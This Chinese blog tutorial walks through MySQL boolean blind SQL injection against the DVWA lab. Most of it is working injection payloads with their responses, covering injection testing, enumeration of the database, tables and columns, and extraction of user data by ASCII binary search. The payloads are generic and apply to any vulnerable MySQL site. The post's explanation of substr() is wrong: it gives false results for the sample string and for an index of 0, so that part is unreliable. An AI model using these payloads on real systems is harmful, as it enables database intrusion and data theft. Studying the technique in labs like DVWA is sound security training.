mysql盲注

1.盲注常用的函数

  • length()     返回字符串的长度,例如用来返回数据库名字的长度
  • substr(string,start,length)     用来截取字符串,例如有字符串a=“abcdefg”   那么substr(a,1,3)就表示截取“bcd”,substr(a,3,1)就表示截取“d”  ,若是遇到substr(string,0)表示截取整个字符串
  • ascii()       返回字符的ASCII码
  • sleep(n)    将程序挂起一段时间,n是指n秒
  • if(expr1,expr2,expr3)   判断语句,如果第一个语句正确就执行第二个语句如果错误就执行第三个语句

2.注入流程

1)判断是否存在注入,注入是字符型还是数字型

1' and 1=1 #

1' and 1=2 #

2)猜解当前数据库名

猜长度

输入1' and length(database())=1 #,显⽰不存在;

输⼊1' and length(database())=2 #,显⽰不存在;

输⼊1' and length(database())=3 #,显⽰不存在;

输⼊1' and length(database())=4 #,显⽰存在;  说明数据库名的长度为4

二分法逐字猜解

输⼊1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);

输⼊1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);

输⼊1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值);

输⼊1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);

输⼊1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);

输⼊1' and ascii(substr(database(),1,1))>100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼤于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。

……

重复以上步骤知道得出完整的数据库名dvwa

输⼊1' and ascii(substr(database(),n,1))>100

……

3)猜解表名

猜解表的数量

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在;说明该数据库有2个表

猜解第一个表名长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显⽰不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显⽰不存在

……

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在;说明该表的长度为9

要猜解第二张表名长度时将limit 0,1 改为limit 1,1

猜解第一个表的名字

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显⽰存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显⽰存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显⽰存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显⽰不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显⽰不存在

……

重复以上操作,猜解出表名为guestbook,users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))>97 #

4)猜解表中的字段名

猜解字段的数量

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显⽰不存在

……

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显⽰存在;说明表中有8个字段

猜解第一个字段的长度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显⽰不存在

……

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显⽰存在;说明第一个字段长度为7

猜解第一个字段名

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 显⽰存在

……

重复操作

5)猜解数据

二分法猜解数据

and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #

……

暴力猜解

1' and (select count(*) from users where user = 'admin') = 1 #

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值